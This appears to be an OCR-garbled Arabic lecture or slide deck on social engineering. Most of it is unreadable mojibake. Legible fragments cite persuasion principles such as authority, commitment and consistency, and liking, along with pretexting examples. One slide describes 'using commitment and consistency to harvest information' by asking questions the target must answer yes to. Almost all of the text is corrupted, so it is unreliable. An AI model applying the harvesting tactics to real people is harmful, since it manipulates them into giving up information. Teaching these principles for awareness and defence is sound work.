A m U\i U L-L^i ^1 ^Isu j^i tSUil ^ - ikluaJ l^ji J^J ^J^Ji ^ ^IjJuS .cJ^^J AiSalxJl jl ^ <K ni^l - ^^< > ^1 li^J 

(j-s^kjl liAj ja" "?<U j^VI jl liU" .^jUII ^-jU^ c> ^^iia^i L-uUJi ^ <! j^ij I^slL J\ ^jI^j ^Ull 

."jj^J! ^jal ^ d^jl! cSlU V Ui ... J ^1 jA" ".jrjUJI ^ ^UiJ! JjlI5 ^> 

(^5^- JJ dill ui ^aJ (j-a j (jjjll (^^^C jjuoLg t^jj^kVl (JJfl j.Vu U^ 1 ^ ^J^^ (jC AjILoj j AjjujL^JI ^tilli (JA 

$ 0'50 -J JljJ tdjULoi^JI ^paxjj ClqS Ui . jVj^ 150 ^alaa jll ^Lft iaa^J ^jUjj 

.^1 jll JiajU 

l^isu ^5 j£j^ j jjja j^ tiLj^L . jii£VI $ 0^50 (3^^ l^U^i ^^lill c_ij| j^ll cilii j 64_^.lj3l j j^JI (jc c-u^JI jI^j ^jVI 

. M ^Ui 11a jl .rfS&l V Ul 4(^1" 

. m jVj^ 100 J*i! ulj^^j ui" 

/'JUSI AJ^ Jllat ji j^ $ 125 J £jki,.n lil" 

11a (Jj^j (jl ^Jt-iij jl£ .^-^jl <J^ u^j^ C5^^ ^ j>iL^a j^.1 I jjl^j jVj^ 400 lSj^-^. c5j^* u (J^a 

^JUx» U^J J^-^^ (3^^^^ (j -0 LH^*^^ U^^^ AjjjuI diLajjl UI ttilli (j>» o^j ' a ^/ Q ^ SAjI j-o l_j 



jUjojI J jjlJ! dlxij lA£ jA cilli C5 Ic Clufk JUxi .AJI <^.L^ ^ Ua. ^^5^ ^UA <jj£j Ui^C C5 IcVI <xui3l ^1 jjjlajj (JjjUII 

lil 4 JUJI AjUflaJ .AJJA jll jUjuaVl ^^ji ^ t JU>n ^ill j jUJl L-UjoiJ ( j-aAJ jl£ ^jSjll jL ^Ic^^VI jlS .Ujjj\£ jl > acl ^XJ ^jSjll 

(j^lj .cJUJI ( -iju^l I^I^jjojI Sj^j (j-<i i \\\ vu>» <il3i (jxi V^j .' ^ ^i c • ^a Uui jii^l (3^^ u ' " ^j^j^^ ^ 1 a I^a 
xij i^^iJI ^aUaill uA±xj£lA\ ^ilk ^ aj - ^ (jl Jaiill (j>» (jjlUJI l ji^Ldl BP's error 1 . U»Hc. 44juoij dja jll ^ 

L_L^J 4^^x11 ftj^il (jl 4Jakj dlJJJ 4i£3 4UA (illi (Ja^^J (jl UjI \ Lii^ flj£ .<jJaia, ^1 Cj^I L^Jli 4(jiajjx>Jl (j^akj ( . Ujuaj ^jSjll jIxjujI 

# Uiaj| Lff C*\ <Lia VI (jjj^i^xJl (JjuoflJ (jl (ja-dJ L_ Ll^ j 4Jail3l dil^jjai C-jLuofl L_ j 4(3^> ^ (jl 
jjjcI lil .(JjjUII l^aXoJ ^^1 A ArtW lIj^I j LaK <j^j3 ^^ic <J jj^aJl <Jjt > jl j^awQ Cj^I j LaK t^^cl ^I^VI (jjj^i^ll jlaj j (jxi 
ia£2 L-Lu^ jA ciLlc Lq j£a tLi (j^aauai x^q 1 ^ A.Jflll ^IAxJjujI L5 ic L_ u£j 4I g jlr- J jj^aJl L-Jxj aJj 4 6JjLo 4<j^La, CjLq j!xa£ CjLq jIxaII 

.^JjJC- ^ ^jilt (> jJJaJI 

dbuol" jl "... (j£J j li^ (J jSl (jl (jiajiiiAll (jxi dbuol UI" JiLd SjUc ^IAsOjujU CjUi jlx-<Jl x-d oj^ill (j-d ftjliloiVI (j^-<^ ^^C-Uua^VI (Jjj V^ a\\ 
A uj CjLq jlx-<Jl (jl (^^-i^J A'\°\ ^ djl jJ^aU djAaJ oi^ (JlLd CjI aJjj^aJ "... Xwajai! (jal j 4 jiaJl liA Cax-ojui L_u£ lil l^aUxi 
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(Authority) 4. 

dI^JI (j-a C5^^ ^ (j^a^jaJl C5 ic JJ^ixJl / laL n£ (jla^su La ^ uj (jx» djUj^a jllll jl I— llfclai jllll ^UjV bl^xludl jj£I (JjjUII 

. AjljuJ ^)JC. <3L>i LgJ^.j jl 4_Lg ^^-Scl 6^)JujLlx» 6 jfi <Jaljul3l till} (J-O^J LdAjc L^a J 1 ^ J 66^)JujLlx» AJaloJl j^JLujV 

(j* ■f > <SJ^ r " ^ ^&J^ U*^ c — J (Jjjl^'-'^l J (j^J-^dl ^-C-Ua ^^ic ujJJ^J ^aJJ 4 JtlxJl C-l^f^ '(J-^ 3 ^ 

^aljl^.1 (JjJJ^ L5^\ ^5^U-<JI £>i& .Ajllc- ^ <ll<J! <cUa3l j j-al ^)JJ*J 4JaluJl jVunI 6(jLl^.VI 

^CLjUaloJU (j^xlaJJ ^Jl (_£^)J (j^l ^^jl cJ^ ^ dltlaCl ^^llll ^IjVl jl ^C-l j£3l (jC- <JIjjuJI ^a-^C-J a laiudll 
(jj^Jj^ali (jjill ^iji (j^J '-ia^ l,lixJl 11a c^fklb -UJ'^J^ J (Jj*^*^l l£-^I lW^VI (j-a .IjAslII ^ jSj c£-^JJ l.lixJl li& 

^cLdl^VI (j^jaili^-xJl 4 Jl<Jljj jJ jj£I (jj-ll} (j^l ^^jl J) U^*"^ ^ y^-J ^ laLuJI (jC JliiaVI P^*J ^aJJ t flj£ qjSj.1i JliiaVI 

4 jaiuaH ^jMi'qlj ^IS 4 ^jjfl (JjjSLg t^.nLluJl ±\ > ^ajSVl j ^LJVI ^Lai^V! ^aJtc c _^cU»l^.Vl ^Loili^-Il 1 % nl ^ ^ A laludli ^i>lkj ual A-lfljS 

.ajqI ai^Vl <juj^JI cJ^-?^ (jfciij l!^-^ 4-ijuj1 ill Igir a t flj^ij ^jl (j^j (^5^- s^c (Authority) 

(Legal Authority) ^jjIB - 

.LIU* l^jfl Jj^j sIuiIaII J AiSaixJl jt 

jjc. Lft o^lc (jjA^ j^JI (jJjjjaixJ! ojjc. jl (jjjlill ^ii<i aIia iLiJl ^^^ic ^ j^ais ^^ill (pretexts) ^ U JJ, ^%^ 
I jA* AicL^ j uj^j cJ 'The Real Hustle j BBC ^^j^l ictiVI <%j ^UJI jitill J mln^ l cjlil^ ^ 

j& <j| "JjIj" (^ill L-iU^ill tiluall ^i^-j L-Ujoi ^J^l U J^j ' 0 ^ ill JiA VI (jli (jj^J (jl ( ; la>J (JjJ J>JI j-<Jl li^ ^x-Uia 

# 4^^)jua3l ^1 (J jj^a jll (jjiC-Ldl^VI (jJjojAl^Jl (Ji3 (j-d a laJLujJ (_^^)^ ^JaLoJl 4_i^akjuj£ L_fl^jj^a!i3l 

jl ftl ulaj (^ill JJ^I I^A L-Ul! m A m ^ diUi jlst-d jj^^J] ^y-t-nJ (_^ill j ^aL^Jl AjtJji CP" UJ^ U^*^ LSJ^ 

jjlall 4 laluJl aIa^LujV 6^.1 j <L^)Ia (jj^J j^Ia^JI (j-d 

(Organizational Authority) ^ jAjftnti iLLJI 
JjoiLonl! ^1 j^jujj I^a 6*^lc .3 <Jaio (Jj^ia (jc dj^a^ <ialuj ^1 <JaUiUj c _^a (Organizational Authority) ^j^j^v^l ^ Umll 

>C5 ^j^Jl JjuoLaLill 

^XJ (jj^J jLuHjujVI .4-^jJal j 4 j^jhn <ialaj ^kl (j^>^ uj ^1 jl CIO ^ LS jLjUjujVI (jla tAjcl ^I^VI 4 > n,V^ ll ^^iSJj 

(jl (jjjj u^^^ U^^)^^^ clh^ 3 j' fi^cLouJI ( . u£ ^ (j^ CjLg jlx>JI (j-d Ia jjc- jl jjj-<J! ^ ^ (^-Sc cJ jj^^JI (^-Sc Ij^la 

^-llc <Jaloj Aj^3 (J^jIaII (j^akjaJl 

ljjISII "(The 'Social Engineering' of the Internet Fraud J c^jiyijc JL±±yj j*" l^L^yi lu,u+J/ jl -dUu ^ 
AjUlII <jjL^Lg (jj^i c^^lxJI/^i^j^ll AjJa jll 4(jjjU3l (jl ^^.j>JI (jxi" ^cJj^ ^J^^^l cJ'^dl Sjl jj (j-o (jjjjj (jLli 

,U,^>1^ J j^. ja JJC. ^ laludll xi 4J| ^aC jj ^j^>^ uJl (jj^J Ui^Aic ^ laludll (ilLdJ (j-d djUlc^l A>i 

http://www.isoc.org/inet99/proceedings/3g/3g 2.htm 

Jjs (jx (jil jl JLojjI t*lSi (j-a V^j (j^3 j t(CFO) y^-*^ j^^^ jl U£ lJj^MI ^ J^U. ^ ^j^.1 tij^ <LaJI n>n 

e ci^JI qjjc ^.1^ <iaiaJI ^cl<J Ual£ (jj£j t . M\ j ^^1 <iaiaj . JU1I jjaJI 
22 uj^ 3 ^ ^^^Jl c> X95 jfrti cfillj '(1993) Influence u^U^ ^j^jj W^Aj ^ ^"U chjj 

(jj£j (jl jj lLl^U (jxi ^LlfljlA <L<Jl^<i ^^ic pUj ^1 jJl (j-G <C^)^. ^^jJa^yJl ^UaC-V jI^xJjojI ^^ic Aillk-<i CjULujIu^ (j-a <ia^<i 

# l^j| CjLjaj-<uJlj (fc5 ijli ^aJ L_llilaJl 

.(JjJa^VI ^ g fl^a (j>» ^-^1 (^5^- ^l^l^^yi J U, ,V ^* ^ (JjjUII ;4Jalail3 ojjj^IxJI ^Ijl (^^-Sc ^Uj <J^a3l (jl ^ jjJa ^-^J 

.^Ldjlll CjULiJI (jc ^glkjl] Cjl£jJa3l j!>lstlajV - iklLaLj U3lc.j (j^J 4-kLaJl (jxi ^ jill 11a 

(Social Authority) V^VI 4±L^1\ - 

^ cAjc^Ui^VI <c> ja-saW (jj^ii (jl (j^»j .A^Uii.1 3ia (^1 (j^ "(natural-born leaders) ^1 aj^Ui^VI a kLJI 

# (jjjU3l (j^ ^kl ^a^j (_^l jl ^la^j^l j (JaxJI ^^-<»j 
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q\ Jl <c jj tilU& (jj^i I* lj^£ <Ljiaj 4-k3joJI Jc ^jll ik." ;Jjij jjJLLai ^ Cjjjjj t . nKii 6 (Influence) j^fcll <-jLs£ <^a 
da jll j* <Lplc- j^c. (jj^Lujj V as tAjcUu^VI a LLuJI CjAaj* ^^£1 ."l&j u ^ j* Vaj ^j^l ^ ^ Afl ^a c*Ui 

^aLkjaiVI (j-a a <Jja <jjjU1I jjIjj lLu^. ^^cLaHa-VI CjIjjVI (J* ^-sujjoi a 1 u ;L_fljla ^1 dlaJ .(jjjJ j-all <J^-^ L -^^>*^ <-S%^ J' 

.(j^^ 4jc.Lala.VI 4 laLuJl jja jj J jcLoij as 6e.lja.VI (jjl j^-HJ 

tit .CIjLq j1*_aJ| Jc J jj^aail t a^\l JaiuJall jl ^jia (j^^A 3 4j£-Laia.VI 4_joj,1^JI J 6 j^-^ <L^Laia.VI 4-kLuill ^1 laJLmt (j£-*J 

IjjLa (jj^J .l^U^U <C j^-s all £x» £tlL^a <j^ l V^ll JaLajj AS t<C j^-s all ^JC j (J^ S- 3 

jjlill <IaLaJ JliLaVI .l^-L^L <c a\\ ^IL^a jc ^ jaj as t V^ll <jli t<c ja-\ a\\ jjUj* j* 4-j ^-^j ^3-^ l>^J 

.AiS-all ^ 4il Jc l^jjj jlaJJ *Uc.Laia.V I 

<Lj]all Jc Jxa ^ j IgJ ^jl£ <LLaJI 4c A\ jl (j^-s >*Mt jl Jc AjIajJj jl SjjujUx Lol j£jj L*jjc ^Laaj 4je.Lala.VI 4 laLuJl ^-^Inn 

^ (J^aL^. l!^^ ^ laluJl j^J .J^^ J^^ (J* V^J ^ laLaiH j^J 4 . LiaJLujJ IaJJ 6<lisu diUalaJl ^ Ual jIg L_ u£ lil 

M U3! - 
CjI jLiuj 

(jl j£i ^jc l-jI^jojU yy*i ciii^. 4 jjjtillj ^UaVI cIl^Uj ^jUjIa a* A -\ ^a ^jjoiill ^3lc t j^JV (jJj jjli^JI ^ <LlLi ^a 

^ J^J"^ 6 C5^>^^ ^jW^J . JJ^^^ L>^ ^ (> — ^ ^ ^JLacI J^^^ ^J^*^ ^ C-H^^ L>^ 

jjJajk <JaLJl jj^ J^UIojI L^al ^xJl tilt ^ 

A laluoH L_fla j-q ^jiajC. ^ ^jjcl VI ^jjui.V^ ^ll ^ JJJ^ (J-^ ^ jll (JaxJI CjlaUaJj tAjud^Jl <xl 6<Jjoj1_L<J| ^jjdJ^LJl aIa^JjujI 

6JJj£ 6 ja J£jo1J <ialaJl \c jJjol jS^VI £>i& (j^3 J tLiA 6Jj£Aa3| tilli ^I^VI (JjJ.V^ L-lxlfl A laLalll ^j-d ^J^-l Jl^jall 

<j^LaJI Ajujill ^I^JjojI 4 j£ ^^cLdl^VI (JjjA^aII tdlUi jlat-xJl £-<^J (jJaloll ^j-d l!^^^ ^ J^-J ^ 'U^^)^ 1 ^^ J^^^ J - *^ (3^*^ ^• J ^ c ' 

A^JL^o pLjail Jlxi JS.U1J 3 lal i J 

(Commitment and Consistency) J^VIj ^IJ^VI 

(jLoajVlj .Ajc-Uu^VI A i o II (jljoiJ CjIa jjjlljjuj 4_i^jJallj (^Slx (j* <J^1 al laJLuaVI (j* <Lola aII jIjV) (J^ 3 *^ cJ^^J (jLoajVlj ^al jiilVI 
. (dA-i^-j lillj CjUIjVI J^J ^^^^^ Ur^^^)^^ 6 2^-^11 j C_jL<»^L<JI (Jjj ^alj* ^Jal jlill jl ^ a - hjVI) Aijuolill ^ ^^-i^j 

a^Jlxilj jIjoJ (j-d ^JjjUll ^JJJ L^JJ Ui j-AC .^a^ jLol ^fl (jLoljVI J^-^j ^ 4_x»lc <JC.J ^jjj t^jjjkVI ^ JjLaljV! (JJjUll 

t ft,^t ^^1 djljljill (j>» dal jl - galkl jSjJj CjUi jlx-all A^JIjl^ o^lcl ^1 A^LaJI JlL ^jLoijVI .AljUaldj <aal jld (jj^J (jl 

AjjJaUJl 6jfkll (JjjLojI ^^ic tllxk jl L_il jj^a t^Jjoj jl Ala. J-<ixJl I^A <jl jat-^J djUa^Jll cillj i((jUt f€€Ungs) Ls ^-\^\ (jjjLuaa.VI 

oi^ J;!^ .Cjl^lst-allj ^jLoill ^al jlilVU jjt.uiII AjJa (jj^ (jl (j^A-<Jl (j>» C5^J J^J^^ 1^ lA AaC Ullc. ^^ill Cj|jjujj>Jl ^j-d 

.dAjjj V La ^^^joi ^glc ^jal jj ^^£3 tiLti^ ajj 4iU jstjou t^ljU ^jLi^VI (j-« ^ CjljUjjyi 
(Gw^ feelings) g^WI ^La^VI jjAj ^a .cjUIjjIVI J*^h ^^3' u' clA^ '(Gw^ feelings) ^^\^\ ^U^VI 

J^a t^ja.! Sj* t*Ui Jxi ^l^U jl£ lil tjVI ^ij^l U Aijx-Aj" ttiLij jLoaj* cil^j _Lk^ ^Ijjlt jl£ lil U ^Stl^ t*LI ^1 

^a ^^1 j <I1gI Aj!>Ij3I ^^ic SjlaJ ^^alils tLa ^aauuo jxi aIjjIVI ^^-Ic J j> ^aail (jLoajVI ^^C.Uua.VI (JjjI^aII aIa^LujI A }kf\ ^ jiaill lS^ 

.3 laiill i»^a ^ U^cLaaj 

l^i^l t^qjq^ ^jIc el Laul c _^i3l j -( jjjuall 4ju^. t _lu^1 JUJI j^ aJjIa c!jLia£ ^jiij Ullc. djl£jJa3l ; (Marketing) (j^j-*^! 

Jl jJa ^jjaaiill ^Ia^JjojI ^^ic AjuIj <llL<il uijjjj V IS j£ (jjSj* l^Jl (jj'Vfi»J (_^ill 4_j^aJl tillj* (Ja.1 ^-liSlI 

tiUi j .VjS ISjSl ^joiJJJ (> J (j^uiti JJJUII c5jl^S V 1 g jSI j t La. jjJa j p-UJl Ja.t (> ^U£ll ^ ^ jixJl 

jla t^jjjun^ S^jAa. 6j£a jl ^clixi ^ ^(g Aa.1 j ^^>^ Lxi^jc <j| l— Lia ^jiaxJl L^jJajU AJa L_JjaJU "<-<ijIiLi" Ujl£ jjj£jjuall jV 

^c_£jll liA jc lAa. lAisu (JjjJ j^Vl 
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jis£l IaixJI li& eBay ^ j* ciijjjjVI cijbl jxJI cj jjj 4 m & ^ ^-^Ij ^1 i(Auctions) ^I^Ij-aJI 

o,jA ^ ^-ilo ,j| j j* tilliA jl£ lili ^ - aSl J a £jJa jJ jjxajli l— Lia Lo IIluj £>L^jI ^al jjlVI j-a jlt.a^ jjjUJI J*-*^J J^J 

jc-j IgJ ^JLJjlall (jJjJall jc S,jjI j^ll 6,jA .JJ JJ jjuj jtj^.VI (J*^ju .l£^>^ S^lj*^ jjj ^ 1 ^ a 4_j^aa\_L<Jl 
jjJAxIlg jjL jJ-at£ dljJjj <_£jJjuiI La,jjc j& tilli (^ic <j£jjoj^1^3I <£LdVl ^1 jjJVU jjjxjuU ^£jV ^£J <j^aLaJ) 4.^.1 jl I 

< jUjib >c >^j jl£ jiSI jVj^ jjjl* 600 <^ .("(jAjital! ^jjI j£j*" Bloomingdales) 
V jpj" jj^ Jjj <iaau^a ^ JUL fta dii^. (Negotiating Rationally) o^J^\ 

l_jUWI JjU* jl jUall c^l yi : (Carnivals, game houses, and so on) <4-*ill Jjt-^llj cjVtijj* 

J&J t^^iiA jbj 6,JjljaJl ^ ,J J-a*-^ C5"^^ L>* .(J^^ f (jljoajVlj ^al jjlVI j-a ^^-^ CS"^ J-*^ 

http://www.ryanhealvxom/commitment-and-consistency/ 



jl£ djja .(^IUa Jl J jj^a jll SjIluJU 40 ^jll j* ^ t^jjUjaj j£j J^l j* $5 6 j^liill cM j* $ 44 £^ ^ 

V 4il ^1 J51I ^> ^! jjj J ^ iljVj^ 12 u' ^U3I U^U <> jj£I c_aKj J 

jll AjjLUI ^ jLJI ^ jVj^ 12 ^^jj! (J^hj 

^j^j jj3I jl <jj^i3l tilii .djlxi jj3I j! <LLoJI ^jjjLojI C5 1c jl^ J£ <iU ^ (Consistency) (J^jVI 

^1 4-i^ij ^ jjuj <jl ^ cl>^ cs - ^ ^c-^i cJ^-j LoAic ^(JliLoJI cJjjjuj ^gic . J^lkVl ^ t ; ujujjj ^jl (j^J ^j-^-j i^jV ^i>JA ji^J (jl 
4iV ^lijll ^jj ji ^l^j^II ^ t^LiJI Aijc. ^1 J < ; ilia ^jc .ciAjti jjIIj aLUI <jj^j3I ^ j^jj l-ALII 11a ,^LaJt Aijc. 

l_j1^jjV c *\\\ ^^Ldl^Vl (Jjj V^ ^ll Jj^a^. lij .<jjLojjJ ^ CjI j^VI t5 jS» L>^ (J^jVI j ^al jjlVI cJ*^J (J' ^^Lai^V! (Jjj V^ 

# 4jUl11 Uxj^a (jjjjl ^al jjlVl ^Jt > *aJ 6^lc i jJa > ^^^^joi 

i^r^ ^ j^jJ <(" Influence" ijiSlt) 

t^jJa j jl C fl3 ja iLkjt 6^al jjll iL^jl ^XJ liA -C ^J jVl ^al jjlVl (><»^-*a ^ixJ (JjAillj L_JC^Ij11 ^jLoajVI J ^al jjlVl (J^-^ ^ULi" 

djS j 4 illaj jjoj c^ill ^5 jluJ! ^ ^ ill j ^.jjaII < ^3 iLkjt 

jl ^ jjJa I1a ^^^ic <J jj^^Jl cJj^-^ ^ t^jLoijVlj ^al jjlVI 4-iC.LaJ^.V! 3 i u II L_) jiujl t * a J^ JJ ^ cJ-*^ ^J°^ <ill jl ^.l^Jl 

(jLoajVI (^^^ JalLaJl ^ jjJa liA ^^ic <J jj^^J! (J^^ 3 3^ ^ J>^*^ti ^.J^JI J^J dlLa jlx-<Jl (j>» 6 JJ« > AjtiaS ^^ic t flJa£A] 4_i^jJall 

_CjUi jls«-xJl j>i Cp" L ^* jAia ^<J1 ^^J 1 ^ ^1 g all (Jj^^j Jfl ;<JjLa3lj l^Jlflj J^Jjuj ^3 ^^jll ^LiuiVI ^ 

jaJLuaV _C*jL<» jlst^Jl ^-<^ A-AaC 1« - aj ^aJ IjJstj^a I^jj ^jl ( . La>J ^\ g aII .QJ^^J ^ ^ (3^^/(3^^ ^-W^^ cJ' L . 6^j^.l 

^ jia ^ ^\ £ a\\ iiljJJ L-fl jjoj j 4L_lllaJl li^ (J^aSj ^JJ > o Clll^ JJ^ (J^^V^ (J^J^^ ^1 g l<JJJ VI t ; 1> J '(.5^1 J JJp (JllLa 

j)-<i ^ jLouJl j (jla jlijU J^-^ ^*JJ^ tAjUlla ^ ^-IjJ^ J^ 4 ^ ^ . j^^^ 6 ^ C5^) J J^^ L5^ ^ -^^^Vi ^aJJ (jjj 

j^JJ L_fl jjoj tl^JLA^. ^aJ ^^jll diUi jIslxJI (j* ^ » laS j£ ^ c^^^ ^^>^ J ^ JJ^ > *° W 6t ^i ^ J ^>V1 <i^J HjolLq ^UJl 

.A-iai > l^a-jJal j cilli j(g laJ jl j ^^JLJfla J 
^Ic (J jj^aaJl L_JC. jjj jjU^i JJC- (jj^J (jlj^VI ^^-^ i (JjjA1^£j Ijxj^a (jj^J (Jl j^AxJl Ll^Jj.JJj ^-!aJJ JJyuJI 

jLlaaII jA t^jJalj L_Sjjjxj _4j j^-d (J^jjU! d^A (J* a>J jl j£-<uJl jxi jiaJjxJl (^^^ ^ILVIj ^JJ^ . j^lj^ ^— & jll ^9 "jJ^^^ ^alS" 

.l^jajjL^J ^1 (jjjlallj ^ jjJa jJ S^A^o L_fll^Al ^ (jjS^jll (j*a J^Jl ^^J^ (il^cLaaJ jl A i£ <Lj ^jjS ill I J£ ^^ic 4_x»I^JjujI tilj£ aJ c^ill 
^al jjlVI ^Ia^JjujLj diUi j1s«_a3I (^^Ic (J j> rt^W (jJjJall I^A j jj^aJ (^^Ic I J^IS ^C»l ^*^VI jjj.V^ a\\ jj^ ^jJajJ ^jojj 

.(jLoljVI J 

^al jjlVI .JcljS jl " C^g-lj iLjoi <!lja. (J^aJJ .l!-**!! j^ j a *- d J^* 1 ^ ( — S>J^-!l jW^-j a ^ ^ (J-^ ^1 Jjl^U fl^Jl ^C-> (J JJ^^Jl 

jj£j* jl j^J Clijl . jlj^ll liA ^ jIjaLojU ( fljj^ajj Ujuoijlj jjjkVI j-« iaijJall j>» ^ *9 jjoiS 'Ijlj^ Ld,jjc (jLaajVlj 

B "tSL <j^aLkll ALLaJl CjUIj^VI L-Lu^ Ajjjoj jl a^i2^ diljljia iLkjl ^ CllSaxjub 
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^jJaxa dliij J J dlla jl d^_J Cjjxjoi (jj^J LaJj 
."3qq>^r (j* c*L ^Lkll Ajl^ill Jl Jj^J ^Ij^V jt > all ^ 
0,1^.1 j <jakj AiC tl aU^ ^ ui <J£ ,ciLudij £x» L_fl!)llkVI L-flUaxJl ty^l J J-jalLu^ <Jjuj jl 1^. L-Jxj gall (jx» UJ-^J U^** U^^*^ C-P 3 *^ J 
djUisU (jlaAaJ j liuJ JJJ (jjlaJ '^11^ J*^ Ld^ic .UjL^ J (JSVI Jc- 6^.1 J "(^'J ^J^* ^ t_fljujl Ul" 6 6jUxll aJ dJJ (_£j^l jl 

c*113 (Jjtil L-ijilU j*-*^j j ollxiaa (_£,31l ^al jlilVI ^j^*£ ^1 ^^>^ ?liLal .Lb ja. J^pJ 

o^W ^ lP 3 *^ J ^j-^ j {Gut Feeling) ^jlaJ^ll ^a jjl jc- el) - * cs - ^ uj~y ^ >^ j (JjjUJI ^ > ^ 

.^La L_J jlla-a jA LaJ ^alc Jc (jj^J (jl 'LjJajl .Ajullall Jl £*lja*J 6,1^.1 j AjjIj tilLlA (j) ^^-i*^ V o^lj .<jlj 

.CjU jLlaII <> f I Jp Jj-uaaJl Jp dJPluuj <jl c j1aj £ ^ia jj daliAl Jj^au : Jtill JluJI 

Using Co mmit me n t 

St Consistency to 
harvest information 



Ask questions the target must 
answer "YES '" 



The desire to see "self" as consistent 
Is a powerful motivator 



People desire to be called consistent 
by others too 



A verba), public, non -coerced 
commitment will bo almost 
impossible for the person to go back 
on.„. 



Use escalation to increase the 




ining Infarmat or 
Com m i t m e n t 



<Jj3 (j-a ^Vu>n Lg Ullc. AjsjIa Aj^L^-g <J^\a 6<Jt!Lall cJ^f^ J^ .l&UujujVI J) ^ JJ* > ^> j A^alj j^ii jll CjLgI j!ilVI 

;I3a JILg e-^gjai Jl L-i^ii jll si ^1 
"f^jJI ciUU ^ m 
."1^ j^jI Ut" <C^lJ 

/'^J^cLuOX I J^AkljUJj (jl (j^A^ll (jxi l^£A (jj^XjaU V (j^ill (JjjUII (jV '1^ (^C-Lajai Al^Jl (jxi 4il" | (J^UtlaJ^U ^I^XJjojVI '(jVI 

.<J 1^ jJLii Jl jj V tSljV ^U^ 1 U Jft ^j^Wj* b^L>J V 

V *l JilVU ^iSlj^j (j^ J t J^UlaaVI (j* jaJl (jj^ <IajjudJ 3JiJ Jc^ <jU.VI cilj£ aj V Clii^J Ijj^la (jj^J (jl ^Ur. 4j| C5 Isu V I^A 

(jl >*>1 (_^l Jc Ufi^)^. <J> ^>^J (jl (j^J c5^1l lS^-J ^ ^li l— lLaC m (g jA^. ^y*\ <j| Jc Jj J£j jlili (jl ciLlc ( . la>J <j| ^^-istJ 

t ^a,^1>nj (_^ill jll L_J jLojVI (jlS ^-dl jlill (jLajJa .^Jj^S dljl£ l^jl .Vfi»J ^ j c ajl la jll I jjoj! l!*^ 
^aJ tUi^ixi "^aju" J (jl <^11 tlg-lxij (jl ^JJ^J (Jj^JLuIaII (j>» <jl£ jl^J ^4 1JT ^ ^.Llxjjl Jc. <St_xi (jlijVI (j>» jLalAJ jlilxi L— ll£ 1 31 

Jc 4ial jaII ;Cj^IjI l-u^ (3^11 c^j^ I 3a (jl^j t^lj jtuLo Jl ^palLaiVI Jl a*j!I t^Uj J jail J j.<u>.>ij (jl tiLic jl£ 

.<j ^uai j^ j jj^ji ji ^-u^j ^iii j^xii 

<J j3 (jU Ujoiijl ^jlj (jLi^VI (J^axj J ,UjjI^ (jj^J (jl (j^J c-^s^ t : ^ ^ (j^ ^^'^ >1 J (j^ (j^^ Li^ "V" cJ (j^ *^ ^J 1 ^ 

.c_uilU j^JJI j jUilaiVI (> Jl ^U^i Jll VnVi^ti JlSil (> lS^ jA "V" 
J (JjjU» jj jjj£JI all jll 4_icUu^.VI <j^>aall ^al jlilVI S jl La^. laj jllj 1^«-Ajuj jll <SiL<iVI (J^ 3 ^^ (j^ 

6^a3 <j (j^aLkll jj^l^)ll jl^A Jl ^-<ftl>.>iJ 4_Lojj£ J 4_i^jJall (JjoI^. .^^^ "V jW^ 1 ^ "4-i^jJall" £ JaLaJl J] d^cLoi^ l— . 1972 

# L_jIjjuo3I ^IjjuoI L_jIa311 (J-a^J ^ tAijS^ 10 

;L^xL^ 20 4 .j^'j^ "^j^j" j J? ^ ^ ^J*-Z y (_^31l "aj^II" £ t j^j ^Lai^ 6c_ia3 ^a \ a\u 

. jj^I jll ikl (> j-alll ^UjU Jaaa I j*15 %20 



4 https://www.facebook.com/tibea2004 



<Lula o . J 
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<sut!LaJ A! (jjjjL^Jl (jjjuixujlLJl (j>» d^Ij (j>» L_llla <j| L_JjJjuL<JI e-ljjudl ?? 4_I^jJa]|" tiljJ <Jj3 _<LL<Jl a! J iJ^^ ill £3j ^aJ 

?j£*3JI 11a (j>» iuu liU .<! <jjau3U <j (j-aUJI jj^I jll jl$^> 
d^UI .(jL-jVIj jtfVI ?JM i3j^ ^ ,iL<J .^-^ <^ o^xJl J^j 4 LK J1I cJiULL Ij^ta 20 i> 19 jVI 

£>i& 6 j£ hi I— Ajjl > ^>^>j t^lj J ,^1 jillVl l^J j L-flJ> ^iMU a^J C-UAjolJ jll j (jjJjL^xJl (jjjuAAjuLLall (j^ ^al jlill Jc 

. jjj'Ull (j* Aijjall 

Jjir > <Jj3 jl jjir > <J-oC £A J^ ^J"^*^ ^"^"^ CS"^ J (Jlxi J^-^ J^-^ (j- 0 <9J Jail ^al^Vunl 4 j£ dJ ^^cLal^-VI (JjjV^ all 

.dlUlj^VI (j-* £-<ujjI <c j*->* Jl t*Ui \;» - ^g] ^IjjIVI liA ^l^kloalj "^ju" 

(Liking) v^VI/J^I J_ 

'(like) SjU*il JjS Ak. jLJl pljjll cj^j di^ .(People like people who like them) (vpro uA^ o^t 
jj^I I^jJ SL-vll J Ua. U! 4(3^x11 JjSI .^USVI jISj) S-L$ uW^ ^ lW^II (J-uJI .1^ ^^^ a 

(jjjUll (j* ^jlau (jjAill <jl CA at-nxll ^jALg (JJJJ-lj La Ullc- j .Afa. cJ^^ t^U <o (jjJjV^'O * jjuj ciljjf^J cl^^ (JjjUII (jl Jj^J V 4_jI-iaSI li& 

^XJj ^JjjUII L_L^J 

6^1*joJ|j CjUdLaUJ V I (jl '"^^ tl'qjl > >1 ^JjoS La£ UJ^ ^ U (jl ( ; UJUdJ Lo£ ^ U . .< dLau] ^ a\\ D^A 

^jjjUII J;i^l <Jj^-^ ^ ^Uu^Vlj 4jIc^)3I l_ fl^la ^j) L-la>J (>— (jj^J (jl L_fl ^jlxll A > ^ 

.^Ixj j (jjj jUj s Jl ^H^i (liking people) ^W^j ^aJI jSl t j j > ^\ \ ^aJI ^LojI 

tiljLaJI" (jljixj ^jojIj^ IjJij (jjjjij^ lsJ^j uj^j^ 1990 ^ J j ti^j (Jc- (io^ J (Liking) 4-jI^>cVI i >> n 

JU3I Jajl Jl J^Lk ^> -uk ^^ILVI ^3lj (Purchasing Behavior in Embedded Markets) <jlj^Vl J Jl j^JI 

http://www.istor.o^^ 

j^ill j ^I^VI CjUaid Jxu^ij j3l 4J ji<JI CjUaiJ] I^k ^jojI Tupperware) Tupperware liUJ dL^aai jll j 
.(liking) mW^^^ J^ cjU^VI J£ ^^1 .1^. (Jji^l j plaJI ^^kj* Jill cjUV^II j t^l jl^VI j 

^ J^ ^ .1 ^J t ^ ^ U3^-5 £ QJ ^ L ^ 6,JcljalA] 6fil>JXJuJ A^JjJa^ll (j^^J (jl Ij^lj' (_^JJjuJJ (Jjjlill ^Ja« ^ (jl (jjli^ljil ^tllLajl 

